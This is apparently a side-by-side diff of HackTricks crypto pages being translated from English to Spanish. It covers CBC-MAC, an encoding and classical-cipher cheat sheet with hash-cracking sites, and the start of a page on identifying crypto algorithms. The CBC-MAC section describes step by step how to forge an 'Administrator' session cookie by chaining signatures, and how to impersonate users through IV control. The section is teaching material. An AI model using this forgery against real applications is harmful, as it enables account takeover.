**Cipher block chaining message authentication code** (**CBC-MAC**) is a method used in cryptography. It works by taking a message and encrypting it block by block, where each block's encryption is linked to the one before it. This process creates a **chain of blocks**, making sure that changing even a single bit of the original message will lead to an unpredictable change in the last block of encrypted data. To make or reverse such a change, the encryption key is required, ensuring security. **Código de autenticación de mensaje de encadenamiento de bloques cifrados** (**CBC-MAC**) es un método utilizado en criptografía. Funciona tomando un mensaje y cifrándolo bloque por bloque, donde el cifrado de cada bloque está vinculado al anterior. Este proceso crea una **cadena de bloques**, asegurando que cambiar incluso un solo bit del mensaje original conducirá a un cambio impredecible en el último bloque de datos cifrados. Para hacer o revertir tal cambio, se requiere la clave de cifrado, asegurando la seguridad.
To calculate the CBC-MAC of message m, one encrypts m in CBC mode with zero initialization vector and keeps the last block. The following figure sketches the computation of the CBC-MAC of a message comprising blocks![https://wikimedia.org/api/rest_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5](https://wikimedia.org/api/rest_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5) using a secret key k and a block cipher E: Para calcular el CBC-MAC del mensaje m, se cifra m en modo CBC con un vector de inicialización cero y se conserva el último bloque. La siguiente figura esboza el cálculo del CBC-MAC de un mensaje que comprende bloques![https://wikimedia.org/api/rest_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5](https://wikimedia.org/api/rest_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5) utilizando una clave secreta k y un cifrador de bloques E:
![https://upload.wikimedia.org/wikipedia/commons/thumb/b/bf/CBC-MAC_structure_(en).svg/570px-CBC-MAC_structure_(en).svg.png](<https://upload.wikimedia.org/wikipedia/commons/thumb/b/bf/CBC-MAC_structure_(en).svg/570px-CBC-MAC_structure_(en).svg.png>) ![https://upload.wikimedia.org/wikipedia/commons/thumb/b/bf/CBC-MAC_structure_(en).svg/570px-CBC-MAC_structure_(en).svg.png](<https://upload.wikimedia.org/wikipedia/commons/thumb/b/bf/CBC-MAC_structure_(en).svg/570px-CBC-MAC_structure_(en).svg.png>)
# Vulnerability # Vulnerabilidad
With CBC-MAC usually the **IV used is 0**.\ Con CBC-MAC, generalmente el **IV utilizado es 0**.\
This is a problem because 2 known messages (`m1` and `m2`) independently will generate 2 signatures (`s1` and `s2`). So: Este es un problema porque 2 mensajes conocidos (`m1` y `m2`) generarán independientemente 2 firmas (`s1` y `s2`). Así que:
- `E(m1 XOR 0) = s1` - `E(m1 XOR 0) = s1`
- `E(m2 XOR 0) = s2` - `E(m2 XOR 0) = s2`
Then a message composed by m1 and m2 concatenated (m3) will generate 2 signatures (s31 and s32): Entonces, un mensaje compuesto por m1 y m2 concatenados (m3) generará 2 firmas (s31 y s32):
- `E(m1 XOR 0) = s31 = s1` - `E(m1 XOR 0) = s31 = s1`
- `E(m2 XOR s1) = s32` - `E(m2 XOR s1) = s32`
**Which is possible to calculate without knowing the key of the encryption.** **Lo cual es posible calcular sin conocer la clave del cifrado.**
Imagine you are encrypting the name **Administrator** in **8bytes** blocks: Imagina que estás cifrando el nombre **Administrator** en bloques de **8bytes**:
- `Administ` - `Administ`
- `rator\00\00\00` - `rator\00\00\00`
You can create a username called **Administ** (m1) and retrieve the signature (s1).\ Puedes crear un nombre de usuario llamado **Administ** (m1) y recuperar la firma (s1).\
Then, you can create a username called the result of `rator\00\00\00 XOR s1`. This will generate `E(m2 XOR s1 XOR 0)` which is s32.\ Luego, puedes crear un nombre de usuario llamado el resultado de `rator\00\00\00 XOR s1`. Esto generará `E(m2 XOR s1 XOR 0)` que es s32.\
now, you can use s32 as the signature of the full name **Administrator**. Ahora, puedes usar s32 como la firma del nombre completo **Administrator**.
### Summary ### Resumen
1. Get the signature of username **Administ** (m1) which is s1 1. Obtén la firma del nombre de usuario **Administ** (m1) que es s1
2. Get the signature of username **rator\x00\x00\x00 XOR s1 XOR 0** is s32**.** 2. Obtén la firma del nombre de usuario **rator\x00\x00\x00 XOR s1 XOR 0** que es s32**.**
3. Set the cookie to s32 and it will be a valid cookie for the user **Administrator**. 3. Establece la cookie a s32 y será una cookie válida para el usuario **Administrator**.
# Attack Controlling IV # Ataque Controlando IV
If you can control the used IV the attack could be very easy.\ Si puedes controlar el IV utilizado, el ataque podría ser muy fácil.\
If the cookies is just the username encrypted, to impersonate the user "**administrator**" you can create the user "**Administrator**" and you will get it's cookie.\ Si la cookie es solo el nombre de usuario cifrado, para suplantar al usuario "**administrator**" puedes crear el usuario "**Administrator**" y obtendrás su cookie.\
Now, if you can control the IV, you can change the first Byte of the IV so **IV\[0] XOR "A" == IV'\[0] XOR "a"** and regenerate the cookie for the user **Administrator.** This cookie will be valid to **impersonate** the user **administrator** with the initial **IV**. Ahora, si puedes controlar el IV, puedes cambiar el primer byte del IV de modo que **IV\[0] XOR "A" == IV'\[0] XOR "a"** y regenerar la cookie para el usuario **Administrator.** Esta cookie será válida para **suplantar** al usuario **administrator** con el **IV** inicial.
## References ## Referencias
More information in [https://en.wikipedia.org/wiki/CBC-MAC](https://en.wikipedia.org/wiki/CBC-MAC) Más información en [https://en.wikipedia.org/wiki/CBC-MAC](https://en.wikipedia.org/wiki/CBC-MAC)
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}

View File

@ -2,9 +2,9 @@
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}
## Online Hashes DBs ## Bases de Datos de Hashes en Línea
- _**Google it**_ - _**Búscalo en Google**_
- [http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240](http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240) - [http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240](http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240)
- [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com) - [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com)
- [https://crackstation.net/](https://crackstation.net) - [https://crackstation.net/](https://crackstation.net)
@ -16,124 +16,119 @@
- [https://hashkiller.co.uk/Cracker/MD5](https://hashkiller.co.uk/Cracker/MD5) - [https://hashkiller.co.uk/Cracker/MD5](https://hashkiller.co.uk/Cracker/MD5)
- [https://www.md5online.org/md5-decrypt.html](https://www.md5online.org/md5-decrypt.html) - [https://www.md5online.org/md5-decrypt.html](https://www.md5online.org/md5-decrypt.html)
## Magic Autosolvers ## Autosolvers Mágicos
- [**https://github.com/Ciphey/Ciphey**](https://github.com/Ciphey/Ciphey) - [**https://github.com/Ciphey/Ciphey**](https://github.com/Ciphey/Ciphey)
- [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) (Magic module) - [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) (módulo mágico)
- [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext) - [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext)
- [https://www.boxentriq.com/code-breaking](https://www.boxentriq.com/code-breaking) - [https://www.boxentriq.com/code-breaking](https://www.boxentriq.com/code-breaking)
## Encoders ## Codificadores
Most of encoded data can be decoded with these 2 ressources: La mayoría de los datos codificados se pueden decodificar con estos 2 recursos:
- [https://www.dcode.fr/tools-list](https://www.dcode.fr/tools-list) - [https://www.dcode.fr/tools-list](https://www.dcode.fr/tools-list)
- [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) - [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/)
### Substitution Autosolvers ### Autosolvers de Sustitución
- [https://www.boxentriq.com/code-breaking/cryptogram](https://www.boxentriq.com/code-breaking/cryptogram) - [https://www.boxentriq.com/code-breaking/cryptogram](https://www.boxentriq.com/code-breaking/cryptogram)
- [https://quipqiup.com/](https://quipqiup.com) - Very good ! - [https://quipqiup.com/](https://quipqiup.com) - ¡Muy bueno!
#### Caesar - ROTx Autosolvers #### Autosolvers de César - ROTx
- [https://www.nayuki.io/page/automatic-caesar-cipher-breaker-javascript](https://www.nayuki.io/page/automatic-caesar-cipher-breaker-javascript) - [https://www.nayuki.io/page/automatic-caesar-cipher-breaker-javascript](https://www.nayuki.io/page/automatic-caesar-cipher-breaker-javascript)
#### Atbash Cipher #### Cifrado Atbash
- [http://rumkin.com/tools/cipher/atbash.php](http://rumkin.com/tools/cipher/atbash.php) - [http://rumkin.com/tools/cipher/atbash.php](http://rumkin.com/tools/cipher/atbash.php)
### Base Encodings Autosolver ### Autosolver de Codificaciones Base
Check all these bases with: [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext) Verifica todas estas bases con: [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext)
- **Ascii85** - **Ascii85**
- `BQ%]q@psCd@rH0l` - `BQ%]q@psCd@rH0l`
- **Base26** \[_A-Z_] - **Base26** \[_A-Z_]
- `BQEKGAHRJKHQMVZGKUXNT` - `BQEKGAHRJKHQMVZGKUXNT`
- **Base32** \[_A-Z2-7=_] - **Base32** \[_A-Z2-7=_]
- `NBXWYYLDMFZGCY3PNRQQ====` - `NBXWYYLDMFZGCY3PNRQQ====`
- **Zbase32** \[_ybndrfg8ejkmcpqxot1uwisza345h769_] - **Zbase32** \[_ybndrfg8ejkmcpqxot1uwisza345h769_]
- `pbzsaamdcf3gna5xptoo====` - `pbzsaamdcf3gna5xptoo====`
- **Base32 Geohash** \[_0-9b-hjkmnp-z_] - **Base32 Geohash** \[_0-9b-hjkmnp-z_]
- `e1rqssc3d5t62svgejhh====` - `e1rqssc3d5t62svgejhh====`
- **Base32 Crockford** \[_0-9A-HJKMNP-TV-Z_] - **Base32 Crockford** \[_0-9A-HJKMNP-TV-Z_]
- `D1QPRRB3C5S62RVFDHGG====` - `D1QPRRB3C5S62RVFDHGG====`
- **Base32 Extended Hexadecimal** \[_0-9A-V_] - **Base32 Hexadecimal Extendida** \[_0-9A-V_]
- `D1NMOOB3C5P62ORFDHGG====` - `D1NMOOB3C5P62ORFDHGG====`
- **Base45** \[_0-9A-Z $%\*+-./:_] - **Base45** \[_0-9A-Z $%\*+-./:_]
- `59DPVDGPCVKEUPCPVD` - `59DPVDGPCVKEUPCPVD`
- **Base58 (bitcoin)** \[_1-9A-HJ-NP-Za-km-z_] - **Base58 (bitcoin)** \[_1-9A-HJ-NP-Za-km-z_]
- `2yJiRg5BF9gmsU6AC` - `2yJiRg5BF9gmsU6AC`
- **Base58 (flickr)** \[_1-9a-km-zA-HJ-NP-Z_] - **Base58 (flickr)** \[_1-9a-km-zA-HJ-NP-Z_]
- `2YiHqF5bf9FLSt6ac` - `2YiHqF5bf9FLSt6ac`
- **Base58 (ripple)** \[_rpshnaf39wBUDNEGHJKLM4PQ-T7V-Z2b-eCg65jkm8oFqi1tuvAxyz_] - **Base58 (ripple)** \[_rpshnaf39wBUDNEGHJKLM4PQ-T7V-Z2b-eCg65jkm8oFqi1tuvAxyz_]
- `pyJ5RgnBE9gm17awU` - `pyJ5RgnBE9gm17awU`
- **Base62** \[_0-9A-Za-z_] - **Base62** \[_0-9A-Za-z_]
- `g2AextRZpBKRBzQ9` - `g2AextRZpBKRBzQ9`
- **Base64** \[_A-Za-z0-9+/=_] - **Base64** \[_A-Za-z0-9+/=_]
- `aG9sYWNhcmFjb2xh` - `aG9sYWNhcmFjb2xh`
- **Base67** \[_A-Za-z0-9-_.!\~\_] - **Base67** \[_A-Za-z0-9-_.!\~\_]
- `NI9JKX0cSUdqhr!p` - `NI9JKX0cSUdqhr!p`
- **Base85 (Ascii85)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_] - **Base85 (Ascii85)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_]
- `BQ%]q@psCd@rH0l` - `BQ%]q@psCd@rH0l`
- **Base85 (Adobe)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_] - **Base85 (Adobe)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_]
- `<~BQ%]q@psCd@rH0l~>` - `<~BQ%]q@psCd@rH0l~>`
- **Base85 (IPv6 or RFC1924)** \[_0-9A-Za-z!#$%&()\*+-;<=>?@^_\`{|}\~\_] - **Base85 (IPv6 o RFC1924)** \[_0-9A-Za-z!#$%&()\*+-;<=>?@^_\`{|}\~\_]
- `Xm4y`V\_|Y(V{dF>\` - `Xm4y`V\_|Y(V{dF>\`
- **Base85 (xbtoa)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_] - **Base85 (xbtoa)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_]
- `xbtoa Begin\nBQ%]q@psCd@rH0l\nxbtoa End N 12 c E 1a S 4e6 R 6991d` - `xbtoa Begin\nBQ%]q@psCd@rH0l\nxbtoa End N 12 c E 1a S 4e6 R 6991d`
- **Base85 (XML)** \[\_0-9A-Za-y!#$()\*+,-./:;=?@^\`{|}\~z\_\_] - **Base85 (XML)** \[\_0-9A-Za-y!#$()\*+,-./:;=?@^\`{|}\~z\_\_]
- `Xm4y|V{~Y+V}dF?` - `Xm4y|V{~Y+V}dF?`
- **Base91** \[_A-Za-z0-9!#$%&()\*+,./:;<=>?@\[]^\_\`{|}\~"_] - **Base91** \[_A-Za-z0-9!#$%&()\*+,./:;<=>?@\[]^\_\`{|}\~"_]
- `frDg[*jNN!7&BQM` - `frDg[*jNN!7&BQM`
- **Base100** \[] - **Base100** \[]
- `👟👦👣👘👚👘👩👘👚👦👣👘` - `👟👦👣👘👚👘👩👘👚👦👣👘`
- **Base122** \[] - **Base122** \[]
- `4F ˂r0Xmvc` - `4F ˂r0Xmvc`
- **ATOM-128** \[_/128GhIoPQROSTeUbADfgHijKLM+n0pFWXY456xyzB7=39VaqrstJklmNuZvwcdEC_] - **ATOM-128** \[_/128GhIoPQROSTeUbADfgHijKLM+n0pFWXY456xyzB7=39VaqrstJklmNuZvwcdEC_]
- `MIc3KiXa+Ihz+lrXMIc3KbCC` - `MIc3KiXa+Ihz+lrXMIc3KbCC`
- **HAZZ15** \[_HNO4klm6ij9n+J2hyf0gzA8uvwDEq3X1Q7ZKeFrWcVTts/MRGYbdxSo=ILaUpPBC5_] - **HAZZ15** \[_HNO4klm6ij9n+J2hyf0gzA8uvwDEq3X1Q7ZKeFrWcVTts/MRGYbdxSo=ILaUpPBC5_]
- `DmPsv8J7qrlKEoY7` - `DmPsv8J7qrlKEoY7`
- **MEGAN35** \[_3G-Ub=c-pW-Z/12+406-9Vaq-zA-F5_] - **MEGAN35** \[_3G-Ub=c-pW-Z/12+406-9Vaq-zA-F5_]
- `kLD8iwKsigSalLJ5` - `kLD8iwKsigSalLJ5`
- **ZONG22** \[_ZKj9n+yf0wDVX1s/5YbdxSo=ILaUpPBCHg8uvNO4klm6iJGhQ7eFrWczAMEq3RTt2_] - **ZONG22** \[_ZKj9n+yf0wDVX1s/5YbdxSo=ILaUpPBCHg8uvNO4klm6iJGhQ7eFrWczAMEq3RTt2_]
- `ayRiIo1gpO+uUc7g` - `ayRiIo1gpO+uUc7g`
- **ESAB46** \[] - **ESAB46** \[]
- `3sHcL2NR8WrT7mhR` - `3sHcL2NR8WrT7mhR`
- **MEGAN45** \[] - **MEGAN45** \[]
- `kLD8igSXm2KZlwrX` - `kLD8igSXm2KZlwrX`
- **TIGO3FX** \[] - **TIGO3FX** \[]
- `7AP9mIzdmltYmIP9mWXX` - `7AP9mIzdmltYmIP9mWXX`
- **TRIPO5** \[] - **TRIPO5** \[]
- `UE9vSbnBW6psVzxB` - `UE9vSbnBW6psVzxB`
- **FERON74** \[] - **FERON74** \[]
- `PbGkNudxCzaKBm0x` - `PbGkNudxCzaKBm0x`
- **GILA7** \[] - **GILA7** \[]
- `D+nkv8C1qIKMErY1` - `D+nkv8C1qIKMErY1`
- **Citrix CTX1** \[] - **Citrix CTX1** \[]
- `MNGIKCAHMOGLKPAKMMGJKNAINPHKLOBLNNHILCBHNOHLLPBK` - `MNGIKCAHMOGLKPAKMMGJKNAINPHKLOBLNNHILCBHNOHLLPBK`
[http://k4.cba.pl/dw/crypo/tools/eng_atom128c.html](http://k4.cba.pl/dw/crypo/tools/eng_atom128c.html) - 404 Dead: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) [http://k4.cba.pl/dw/crypo/tools/eng_atom128c.html](http://k4.cba.pl/dw/crypo/tools/eng_atom128c.html) - 404 Muerto: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html)
### HackerizeXS \[_╫Λ↻├☰┏_] ### HackerizeXS \[_╫Λ↻├☰┏_]
``` ```
╫☐↑Λ↻Λ┏Λ↻☐↑Λ ╫☐↑Λ↻Λ┏Λ↻☐↑Λ
``` ```
- [http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) - 404 Muerto: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html)
- [http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) - 404 Dead: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html)
### Morse ### Morse
``` ```
.... --- .-.. -.-. .- .-. .- -.-. --- .-.. .- .... --- .-.. -.-. .- .-. .- -.-. --- .-.. .-
``` ```
- [http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html](http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html) - 404 Muerto: [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/)
- [http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html](http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html) - 404 Dead: [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/)
### UUencoder ### UUencoder
``` ```
begin 644 webutils_pl begin 644 webutils_pl
M2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%( M2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(
@ -142,98 +137,81 @@ F3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$$`
` `
end end
``` ```
- [http://www.webutils.pl/index.php?idx=uu](http://www.webutils.pl/index.php?idx=uu) - [http://www.webutils.pl/index.php?idx=uu](http://www.webutils.pl/index.php?idx=uu)
### XXEncoder ### XXEncoder
``` ```
begin 644 webutils_pl begin 644 webutils_pl
hG2xAEIVDH236Hol-G2xAEIVDH236Hol-G2xAEIVDH236Hol-G2xAEIVDH236 hG2xAEIVDH236Hol-G2xAEIVDH236Hol-G2xAEIVDH236Hol-G2xAEIVDH236
5Hol-G2xAEE++ 5Hol-G2xAEE++
end end
``` ```
- [www.webutils.pl/index.php?idx=xx](https://github.com/carlospolop/hacktricks/tree/bf578e4c5a955b4f6cdbe67eb4a543e16a3f848d/crypto/www.webutils.pl/index.php?idx=xx) - [www.webutils.pl/index.php?idx=xx](https://github.com/carlospolop/hacktricks/tree/bf578e4c5a955b4f6cdbe67eb4a543e16a3f848d/crypto/www.webutils.pl/index.php?idx=xx)
### YEncoder ### YEncoder
``` ```
=ybegin line=128 size=28 name=webutils_pl =ybegin line=128 size=28 name=webutils_pl
ryvkryvkryvkryvkryvkryvkryvk ryvkryvkryvkryvkryvkryvkryvk
=yend size=28 crc32=35834c86 =yend size=28 crc32=35834c86
``` ```
- [http://www.webutils.pl/index.php?idx=yenc](http://www.webutils.pl/index.php?idx=yenc) - [http://www.webutils.pl/index.php?idx=yenc](http://www.webutils.pl/index.php?idx=yenc)
### BinHex ### BinHex
``` ```
(This file must be converted with BinHex 4.0) (This file must be converted with BinHex 4.0)
:#hGPBR9dD@acAh"X!$mr2cmr2cmr!!!!!!!8!!!!!-ka5%p-38K26%&)6da"5%p :#hGPBR9dD@acAh"X!$mr2cmr2cmr!!!!!!!8!!!!!-ka5%p-38K26%&)6da"5%p
-38K26%'d9J!!: -38K26%'d9J!!:
``` ```
- [http://www.webutils.pl/index.php?idx=binhex](http://www.webutils.pl/index.php?idx=binhex) - [http://www.webutils.pl/index.php?idx=binhex](http://www.webutils.pl/index.php?idx=binhex)
### ASCII85 ### ASCII85
``` ```
<~85DoF85DoF85DoF85DoF85DoF85DoF~> <~85DoF85DoF85DoF85DoF85DoF85DoF~>
``` ```
- [http://www.webutils.pl/index.php?idx=ascii85](http://www.webutils.pl/index.php?idx=ascii85) - [http://www.webutils.pl/index.php?idx=ascii85](http://www.webutils.pl/index.php?idx=ascii85)
### Dvorak keyboard ### Teclado Dvorak
``` ```
drnajapajrna drnajapajrna
``` ```
- [https://www.geocachingtoolbox.com/index.php?lang=es\&page=dvorakKeyboard](https://www.geocachingtoolbox.com/index.php?lang=es&page=dvorakKeyboard)
- [https://www.geocachingtoolbox.com/index.php?lang=en\&page=dvorakKeyboard](https://www.geocachingtoolbox.com/index.php?lang=en&page=dvorakKeyboard)
### A1Z26 ### A1Z26
Letters to their numerical value Letras a su valor numérico
``` ```
8 15 12 1 3 1 18 1 3 15 12 1 8 15 12 1 3 1 18 1 3 15 12 1
``` ```
### Cifrado Afín Codificar
### Affine Cipher Encode Letra a número `(ax+b)%26` (_a_ y _b_ son las claves y _x_ es la letra) y el resultado de vuelta a letra
Letter to num `(ax+b)%26` (_a_ and _b_ are the keys and _x_ is the letter) and the result back to letter
``` ```
krodfdudfrod krodfdudfrod
``` ```
### SMS Code ### SMS Code
**Multitap** [replaces a letter](https://www.dcode.fr/word-letter-change) by repeated digits defined by the corresponding key code on a mobile [phone keypad](https://www.dcode.fr/phone-keypad-cipher) (This mode is used when writing SMS).\ **Multitap** [replaces a letter](https://www.dcode.fr/word-letter-change) por dígitos repetidos definidos por el código de la tecla correspondiente en un [teclado de teléfono móvil](https://www.dcode.fr/phone-keypad-cipher) (Este modo se utiliza al escribir SMS).\
For example: 2=A, 22=B, 222=C, 3=D...\ Por ejemplo: 2=A, 22=B, 222=C, 3=D...\
You can identify this code because you will see\*\* several numbers repeated\*\*. Puedes identificar este código porque verás\*\* varios números repetidos\*\*.
You can decode this code in: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher) Puedes decodificar este código en: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher)
### Bacon Code ### Bacon Code
Substitude each letter for 4 As or Bs (or 1s and 0s) Sustituye cada letra por 4 As o Bs (o 1s y 0s)
``` ```
00111 01101 01010 00000 00010 00000 10000 00000 00010 01101 01010 00000 00111 01101 01010 00000 00010 00000 10000 00000 00010 01101 01010 00000
AABBB ABBAB ABABA AAAAA AAABA AAAAA BAAAA AAAAA AAABA ABBAB ABABA AAAAA AABBB ABBAB ABABA AAAAA AAABA AAAAA BAAAA AAAAA AAABA ABBAB ABABA AAAAA
``` ```
### Runes ### Runes
![](../images/runes.jpg) ![](../images/runes.jpg)
## Compression ## Compresn
**Raw Deflate** and **Raw Inflate** (you can find both in Cyberchef) can compress and decompress data without headers. **Raw Deflate** y **Raw Inflate** (puedes encontrar ambos en Cyberchef) pueden comprimir y descomprimir datos sin encabezados.
## Easy Crypto ## Cripto Fácil
### XOR - Autosolver ### XOR - Autosolver
@ -241,30 +219,25 @@ AABBB ABBAB ABABA AAAAA AAABA AAAAA BAAAA AAAAA AAABA ABBAB ABABA AAAAA
### Bifid ### Bifid
A keywork is needed Se necesita una palabra clave.
``` ```
fgaargaamnlunesuneoa fgaargaamnlunesuneoa
``` ```
### Vigenere ### Vigenere
A keywork is needed Se necesita una palabra clave
``` ```
wodsyoidrods wodsyoidrods
``` ```
- [https://www.guballa.de/vigenere-solver](https://www.guballa.de/vigenere-solver) - [https://www.guballa.de/vigenere-solver](https://www.guballa.de/vigenere-solver)
- [https://www.dcode.fr/vigenere-cipher](https://www.dcode.fr/vigenere-cipher) - [https://www.dcode.fr/vigenere-cipher](https://www.dcode.fr/vigenere-cipher)
- [https://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx](https://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx) - [https://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx](https://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx)
## Strong Crypto ## Cripto Fuerte
### Fernet ### Fernet
2 base64 strings (token and key) 2 cadenas base64 (token y clave)
``` ```
Token: Token:
gAAAAABWC9P7-9RsxTz_dwxh9-O2VUB7Ih8UCQL1_Zk4suxnkCvb26Ie4i8HSUJ4caHZuiNtjLl3qfmCv_fS3_VpjL7HxCz7_Q== gAAAAABWC9P7-9RsxTz_dwxh9-O2VUB7Ih8UCQL1_Zk4suxnkCvb26Ie4i8HSUJ4caHZuiNtjLl3qfmCv_fS3_VpjL7HxCz7_Q==
@ -272,27 +245,24 @@ gAAAAABWC9P7-9RsxTz_dwxh9-O2VUB7Ih8UCQL1_Zk4suxnkCvb26Ie4i8HSUJ4caHZuiNtjLl3qfmC
Key: Key:
-s6eI5hyNh8liH7Gq0urPC-vzPgNnxauKvRO4g03oYI= -s6eI5hyNh8liH7Gq0urPC-vzPgNnxauKvRO4g03oYI=
``` ```
- [https://asecuritysite.com/encryption/ferdecode](https://asecuritysite.com/encryption/ferdecode) - [https://asecuritysite.com/encryption/ferdecode](https://asecuritysite.com/encryption/ferdecode)
### Samir Secret Sharing ### Compartición Secreta de Samir
A secret is splitted in X parts and to recover it you need Y parts (_Y <=X_).
Un secreto se divide en X partes y para recuperarlo necesitas Y partes (_Y <=X_).
``` ```
8019f8fa5879aa3e07858d08308dc1a8b45 8019f8fa5879aa3e07858d08308dc1a8b45
80223035713295bddf0b0bd1b10a5340b89 80223035713295bddf0b0bd1b10a5340b89
803bc8cf294b3f83d88e86d9818792e80cd 803bc8cf294b3f83d88e86d9818792e80cd
``` ```
[http://christian.gen.co/secrets/](http://christian.gen.co/secrets/) [http://christian.gen.co/secrets/](http://christian.gen.co/secrets/)
### OpenSSL brute-force ### Fuerza bruta de OpenSSL
- [https://github.com/glv2/bruteforce-salted-openssl](https://github.com/glv2/bruteforce-salted-openssl) - [https://github.com/glv2/bruteforce-salted-openssl](https://github.com/glv2/bruteforce-salted-openssl)
- [https://github.com/carlospolop/easy_BFopensslCTF](https://github.com/carlospolop/easy_BFopensslCTF) - [https://github.com/carlospolop/easy_BFopensslCTF](https://github.com/carlospolop/easy_BFopensslCTF)
## Tools ## Herramientas
- [https://github.com/Ganapati/RsaCtfTool](https://github.com/Ganapati/RsaCtfTool) - [https://github.com/Ganapati/RsaCtfTool](https://github.com/Ganapati/RsaCtfTool)
- [https://github.com/lockedbyte/cryptovenom](https://github.com/lockedbyte/cryptovenom) - [https://github.com/lockedbyte/cryptovenom](https://github.com/lockedbyte/cryptovenom)

View File

@ -1,184 +1,184 @@
# Cryptographic/Compression Algorithms # Algoritmos Criptográficos/Compresión
## Cryptographic/Compression Algorithms ## Algoritmos Criptográficos/Compresión
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
## Identifying Algorithms ## Identificación de Algoritmos
If you ends in a code **using shift rights and lefts, xors and several arithmetic operations** it's highly possible that it's the implementation of a **cryptographic algorithm**. Here it's going to be showed some ways to **identify the algorithm that it's used without needing to reverse each step**. Si terminas en un código **usando desplazamientos a la derecha e izquierda, xors y varias operaciones aritméticas** es muy probable que sea la implementación de un **algoritmo criptográfico**. Aquí se mostrarán algunas formas de **identificar el algoritmo que se está utilizando sin necesidad de revertir cada paso**.
### API functions ### Funciones de API
**CryptDeriveKey** **CryptDeriveKey**
If this function is used, you can find which **algorithm is being used** checking the value of the second parameter: Si se utiliza esta función, puedes encontrar qué **algoritmo se está utilizando** verificando el valor del segundo parámetro:
![](<../../images/image (156).png>) ![](<../../images/image (156).png>)
Check here the table of possible algorithms and their assigned values: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id) Consulta aquí la tabla de posibles algoritmos y sus valores asignados: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id)
**RtlCompressBuffer/RtlDecompressBuffer** **RtlCompressBuffer/RtlDecompressBuffer**
Compresses and decompresses a given buffer of data. Comprime y descomprime un búfer de datos dado.
**CryptAcquireContext** **CryptAcquireContext**
From [the docs](https://learn.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptacquirecontexta): The **CryptAcquireContext** function is used to acquire a handle to a particular key container within a particular cryptographic service provider (CSP). **This returned handle is used in calls to CryptoAPI** functions that use the selected CSP. De [la documentación](https://learn.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptacquirecontexta): La función **CryptAcquireContext** se utiliza para adquirir un identificador a un contenedor de claves particular dentro de un proveedor de servicios criptográficos (CSP) particular. **Este identificador devuelto se utiliza en llamadas a funciones de CryptoAPI** que utilizan el CSP seleccionado.
**CryptCreateHash** **CryptCreateHash**
